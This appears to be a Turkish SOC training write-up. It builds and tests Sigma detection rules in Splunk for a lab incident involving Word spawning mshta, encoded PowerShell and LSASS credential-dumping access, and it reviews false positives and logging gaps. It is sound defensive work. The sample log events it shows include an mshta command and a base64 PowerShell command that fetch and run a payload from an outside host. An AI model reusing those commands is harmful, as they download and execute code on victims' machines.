

SİGMA NEDİR?

Case 2'de mshta zincirini bulmak için kullanılan sorgu:

```
index=case2      sourcetype=case2:sysmon      EventID=1      ParentImage=*WINWORD.EXE  
Image=*mshta.exe
```

Bu, tamamen Splunk'a özel bir sorgu. Başka bir SOC Elastic kullanıyorsa bu sorgu hiçbir işe yaramaz, aynı mantığı sıfırdan Elastic'in kendi diliyle yazmaları gerekir.

Sigma'nın yaptığı şey şu: Bu sorunun içindeki "SIEM'e özel" kısımları (index=case2, sourcetype=case2:sysmon, EventID=1) çıkarıp, geriye kalan asıl mantığı (Word'ün mshta doğurması) genel bir dilde yazmak.

Örnek:

SigmaHQ kuralı: proc_creation_win_office_susp_child_processes.yml

Kuralın kısaltılmış hâli:

```
title: Suspicious Microsoft Office Child Process  
description: Detects a suspicious process spawning from one of the Microsoft Office suite products  
logsource:  
  category: process_creation  
  product: windows  
detection:  
  selection_parent:  
    ParentImage|endswith:  
      - 'EXCEL.EXE'  
      - 'WINWORD.EXE'  
      - 'POWERPNT.exe'  
      # ... (Office ailesinin diğer üyeleri)  
  selection_child_processes:  
    - Image|endswith:  
      - 'mshta.exe'  
      - 'powershell.exe'  
      - 'cmd.exe'  
      # ... (bilinen LOLBin'lerin uzun listesi)  
  condition: selection_parent and 1 of selection_child_*  
level: high
```

logsource: category: process_creation, product: windows

"Bu kural, Windows'ta bir process her oluştuğunda kaydedilen loglara bakıyor." Case 2'deki karşılığı: EventID=1 (Sysmon'da process oluşturma kaydı). Ama burada hâlâ "Sysmon" ya da "EventID=1"

yazmıyor, sadece "process oluşturma türünde bir olay" diyor. Bu bilinçli, çünkü aynı bilgi Windows Security log'unda EventID=4688 olarak da kaydedilebiliyor, kural ikisinden hangisi olduğunu şimdilik açık bırakıyor.

selection_parent: ParentImage|endswith: [...]

"Parent process, şu listeden biriyle bitsin." Case2 sorgusundaki ParentImage=*WINWORD.EXE ile birebir aynı mantık, ama Word'le sınırlı kalmamış; Excel, PowerPoint, Access gibi bütün Office ailesini tek kuralda toplamış.

|endswith kısmı önemli: tam yol yerine sadece dosya adının sonunu kontrol ediyor, çünkü C:\Program Files\...\WINWORD.EXE gibi tam yollar makineden makineye değişebilir.

selection_child_processes: Image|endswith: [...]

"Doğan process, şu listeden biriyle bitsin." Burada görünen tek mshta.exe değil, otuza yakın bilinen LOLBin var: powershell.exe, cmd.exe, certutil.exe, wscript.exe vb. Yani bu kural, tek bir davranışı (Word→mshta), bütün bir kategoriye (Office → herhangi bir LOLBin) genelleştirmiş.

condition: selection_parent and 1 of selection_child_*

Bu, condition: selection'dan biraz daha karmaşık. Anlamı: "selection_parent doğru olsun VE selection_child_* ile başlayan gruptan en az biri doğru olsun." 1 of ifadesi "en az bir tanesi" demek. Burada tek bir selection_child_processes grubu var ama isterlerse birden fazla child-tespit grubu ekleyip hepsini 1 of ile birleştirebilirler, esnek bir yapı.

Case 2 Davranışları İçin Sigma Kuralları

Kural 1 : Office Uygulamasının mshta.exe Başlatması

Title / Description:

Office Application Spawning Mshta. Bir Word process'inin mshta.exe başlatmasını tespit eder, Case 2'de kullanılan LOLBin proxy execution tekniği.

Logsource → Sysmon Event ID:

category: process_creation → Sysmon EventID 1 (Process Create)

Detection:

```
selection:  
  ParentImage|endswith: '\WINWORD.EXE'  
  Image|endswith: '\mshta.exe'  
condition: selection
```

Kural 2 : Kodlanmış / Gizli PowerShell***Title / Description:***

Encoded or Hidden PowerShell Execution. Encoded komut veya gizli pencere parametreleriyle çalıştırılan PowerShell'i tespit eder; Gün 29 Mandiant okumasındaki FIN7 imza parametreleriyle örtüşür.

Logsource → Sysmon Event ID:

category: process_creation → Sysmon EventID 1 (Process Create)

Detection:

```
selection_img:  
  Image|endswith: '\powershell.exe'  
selection_flags:  
  CommandLine|contains:  
    - '-enc'  
    - '-EncodedCommand'  
    - '-w hidden'  
    - '-windowstyle hidden'  
    - '-nop'  
condition: selection_img and selection_flags
```

Kural 3 : LSASS'e Şüpheli Erişim (0x1410)***Title / Description:***

Suspicious LSASS Access with Credential Dumping Access Mask. lsass.exe'ye Mimikatz gibi credential-dumping araçlarıyla tutarlı bir erişim maskesiyle erişimi tespit eder.

Logsource → Sysmon Event ID:

category: process_access → Sysmon EventID 10 (Process Access)

Detection:

```
selection:  
  TargetImage|endswith: '\lsass.exe'  
  GrantedAccess: '0x1410'  
condition: selection
```

Görünürlük Uyarısı

Üç kural da yalnızca Sysmon'a bakıyor. Kural 1 ve 2, aynı davranışın Windows Security günlüğündeki (EventID 4688, komut satırı denetimi açıksa) izini göremez. Kural 3, LSASS erişimini yalnızca Sysmon üzerinden yakalıyor; Sysmon o host'ta kapalıysa ya da EventID 10 filtrelenmişse (Case 2'deki görünürlük boşluklarından biri), bu kural tamamen kör kalır.

Kuralları Splunk'ta Çalıştırma

Kural 1 : Çeviri ve Çalıştırma

Komut:

```
sigma convert -t splunk -p sysmon kural1_word_mshta.yml
```

Üretilen SPL:

```
EventID=1 ParentImage="*\\WINWORD.EXE" Image="*\\mshta.exe"
```

index ve sourcetype elle eklendi:

```
index=case2 sourcetype=case2:sysmon EventID=1 ParentImage="*\\WINWORD.EXE" Image="*\\mshta.exe"
```

New Search [Save As] [Create Table View] [Close]

index=case2 sourcetype=case2:sysmon EventID=1 ParentImage="*\\WINWORD.EXE" Image="*\\mshta.exe" Time range: All time [Search] [Alerts]

✓ 1 event (before 9/11/26 11:02:20.000 AM) [No Event Sampling] [Job] [Pause] [Refresh] [Download] [Smart Mode]

Events (1) [Timeline format] [Zoom Out] [Zoom to Selection] [Deselect] 1 millisecond per column

[Format] [Show: 20 Per Page] [View: List]

i	Time	Event
>	9/14/26 9:41:18.000 AM	2026-09-14T09:41:18 FIN-WS03 Microsoft-Windows-Sysmon/Operational: EventID=1 Image="C:\Windows\System32\mshta.exe" ParentImage="C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE" CommandLine="mshta.exe http://static-cdn-analytics.com/u.hta" User="COMPANY\b.kaya" ProcessId=4820 ParentProcessId=3990 Hashes=SHA256=f35dcb15cdb763055b5527a8fe315a42b4b64c8336b275962395185466a615a2 host = FIN-WS03 source = Case2-sysmon.log sourcetype = case2:sysmon

SELECTED FIELDS
a host 1
a source 1
a sourcetype 1

INTERESTING FIELDS
a CommandLine 1
date_hour 1
date_mday 1

Sonuç:

1 event , Case 2'deki 09:41:18 WINWORD → mshta kaydı ile eşleşti.

Pipeline Deneyi : Aynı Kural, Farklı Pipeline

İkinci deneme, splunk_windows pipeline'ı eklenerek yapıldı:

```
sigma convert -t splunk -p sysmon -p splunk_windows kural1_word_mshta.yml
```

```
source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1  
ParentImage="*\\WINWORD.EXE" Image="*\\mshta.exe"
```

Bu sorgu index=case2 sourcetype=case2:sysmon üzerinde çalıştırıldığında 0 event döndü.

Sebebi: splunk_windows pipeline'ı, Splunk'ın resmi Windows TA eklentisinin alan adlarını (source="WinEventLog:...", EventCode) varsayıyor; Case 2 verisi ise EventID alanını ve case2:sysmon sourcetype'ini kullanıyor. Aynı kural, farklı pipeline, farklı ve bu ortamda çalışmayan sonuç, pipeline'ın ne işe yaradığının somut kanıtı.

Kural 2 : Çeviri ve Çalıştırma

Komut:

```
sigma convert -t splunk -p sysmon kural2_encoded_powershell.yml
```

Üretilen SPL:

```
index=case2 sourcetype=case2:sysmon EventID=1 Image="*\\powershell.exe" CommandLine IN  
("*-enc*", " *-EncodedCommand*", " *-w hidden*", " *-windowstyle hidden*", " *-nop*")
```

The screenshot shows the Splunk Search interface. The search bar contains the query: `index=case2 sourcetype=case2:sysmon EventID=1 Image="*\\powershell.exe" CommandLine IN ("*-enc*", " *-EncodedCommand*", " *-w hidden*", " *-windowstyle hidden*", " *-nop*")`. The search results show 1 event. The event details are as follows:

Time	Event
9/14/26 9:41:19.000 AM	2026-09-14T09:41:19 FIN-WS03 Microsoft-Windows-Sysmon/Operational: EventID=1 Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" ParentImage="C:\\Windows\\System32\\mshta.exe" CommandLine="powershell.exe -nop -w hidden -enc JABjAD0ATgB1AHcALQBPAgIAagB1AGMadaAgAE4AZQB0AC4AYwB1AGIAQwBsAGKAZQB uAHQAOWAkAGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQA cAA6AC8ALwBzAHQAYQB0AGkAYwAtAGMAZABuAC0AYQBUAQEAbAB5AHQAaQBjA HMAIgBjAG8AbQAvAGIALgB1AHgAZQAnACwAIgAkAGUabgB2ADoAVABFAE0AU A BcAHMAdgBjAGgAbwBzAHQAxbB1AHAAZABhAHQAZQAuAGUAeAB1ACIAKQA7AFM AdABHAIAdAAtAFaAcgBvAGMAZQBzAHMAIAA1ACQAZQBvAHYA0gBUAEUATQBQ AFwAcwB2AGMAaABvAHMAdABFAHUAcABKAGEAdAB1AC4AZQB4AGUAIGAA=" Use r="COMPANY\\b.kaya" ProcessId=5012 ParentProcessId=4820 host = FIN-WS03 source = Case2-sysmon.log sourcetype = case2:sysmon

Sonuç:

1 event, 09:41:19, -enc, -nop, -w hidden parametrelerini birlikte içeren komut satırı yakalandı.

Kural 3 : Çeviri ve Çalıştırma

Komut:

```
sigma convert -t splunk -p sysmon kural3_lsass_access.yml
```

Üretilen SPL:

```
index=case2 sourcetype=case2:sysmon EventID=10 TargetImage="*\\lsass.exe"  
GrantedAccess="0x1410"
```

The screenshot shows the Splunk Search interface. At the top, the 'New Search' bar contains the query: `index=case2 sourcetype=case2:sysmon EventID=10 TargetImage="*\\lsass.exe" GrantedAccess="0x1410"`. Below the search bar, it indicates '1 event (before 9/11/26 11:12:30.000 AM)'. The 'Events (1)' tab is selected, showing a single event in a table format. The event details are as follows:

i	Time	Event
>	9/14/26 10:05:48.000 AM	2026-09-14T10:05:48 FIN-WS03 Microsoft-Windows-Sysmon/Operational: EventID=10 SourceImage="C:\\Users\\b.kaya\\AppData\\Local\\Temp\\m.exe" TargetImage="C:\\Windows\\System32\\lsass.exe" GrantedAccess=0x1410 SourceProcessId=5990 TargetProcessId=712 User="COMPANY\\b.kaya"

Below the table, the 'SELECTED FIELDS' section lists: `host 1`, `source 1`, and `sourcetype 1`. The 'INTERESTING FIELDS' section lists: `date_hour 1` and `date_mday 1`. The event details at the bottom show: `host = FIN-WS03`, `source = Case2-sysmon.log`, and `sourcetype = case2:sysmon`.

Sonuç:

1 event, 10:05:48, m.exe → lsass.exe erişimi, GrantedAccess=0x1410 birebir eşleşti.

Yanlış Pozitif Değerlendirmesi

Kural 1 (Word → mshta) ve Kural 3 (LSASS 0x1410), davranışın kendisi neredeyse hiçbir meşru senaryoda görülmediği için düşük yanlış pozitif riski taşıyor. Kural 2 (encoded PowerShell) farklı: `-enc`, `-w hidden`, `-nop` gibi parametreler PowerShell'in resmi, belgelenmiş özellikleri, GPO/SCCM/Intune gibi merkezi yönetim araçları ve zamanlanmış otomasyon scriptleri bunları rutin olarak kullanabilir. Bu, Kural 2'yi üçü arasında en gürültülü olanı yapıyor; iyileştirme için ParentImage filtresi eklenip yalnızca WINWORD.EXE/mshta.exe gibi şüpheli parent'lardan doğan PowerShell'lere odaklanmak, SCCM gibi bilinen meşru kaynakları dışarıda bırakmak işe yarardı.

Case 2 – Olay Sonrası Değerlendirme

1) Hangi kural, olayı ne zaman yakalardı?

Olayın gerçek başlangıcı, saldırı zincirinin fiilen tetiklendiği an: 09:41:12, b.kaya'nın ekini açması. Bugün yazdığım üç kuraldan en erken tetiklenecek olan Kural 1 (WINWORD.EXE → mshta.exe) olurdu, 09:41:18'de, zincirin başlangıcından sadece 6 saniye sonra. Kural 2 (encoded PowerShell) bir saniye arkasından, 09:41:19'da tetiklenirdi. Kural 3 (LSASS erişimi) ise 10:05:48'de, yani zincirin başlangıcından ~24 dakika sonra tetiklenirdi, kimlik bilgisi hırsızlığı denemesi zaten gerçekleşmiş olurdu.

Bunun anlamı: Eğer Kural 1 canlı bir ortamda çalışıyor olsaydı, saldırgan kimlik bilgisi hırsızlığına ya da kalıcılığa geçmeden, zincirin ikinci adımında (mshta tetiklenir tetiklenmez) alarm üretilirdi, 24 dakikalık pencere neredeyse tamamen kapanırdı.

2) Görünürlük boşlukları için hangi kaynak eksikti, ne yazılabilirdi?

Raporda iki görünürlük boşluğu vardı. Birincisi, SystemTelemetrySync scheduled task'ını hangi sürecin oluşturduğu bilinmiyordu, çünkü o saat aralığında Sysmon process creation (EventID 1) kaydı yoktu. Eksik olan: ya Sysmon'un bu süreci filtrelememesi ya da PowerShell Script Block Logging (Event ID 4104) etkinleştirilmesi. Bu olsaydı, "scheduled task oluşturma komutuyla eşleşen bir 4104 kaydı" ya da "4698 ile aynı saniyede oluşan bir process creation" korelasyon kuralı yazılabilirdi.

İkincisi, 480MB'lık transferin kaynağı belirlenemedi, çünkü Sysmon'un ağ bağlantısı görünürlüğü (EventID 3) o host için neredeyse boştu. Eksik olan: EventID 3'ün geniş kapsamlı çalışması ya da proxy/NGFW loglaması. Bu olsaydı, "process_creation ile network_connection'ı process ID üzerinden eşleştirip belirli bir eşğin üzerindeki giden veri hacmini" yakalayan bir kural yazılabilirdi.

3) Bir sonraki vakada ilk gün uygulanacak tek somut ders:

İlk gün, rapor yazmadan önce hangi log kaynaklarının gerçekten kapsamlı çalıştığını (Sysmon config, network telemetry) doğrulamak. Görünürlük boşluğunu olay bittikten sonra fark etmek yerine, en baştan hangi davranışın hangi kaynakla yakalanamayacağını bilerek ilerlemek.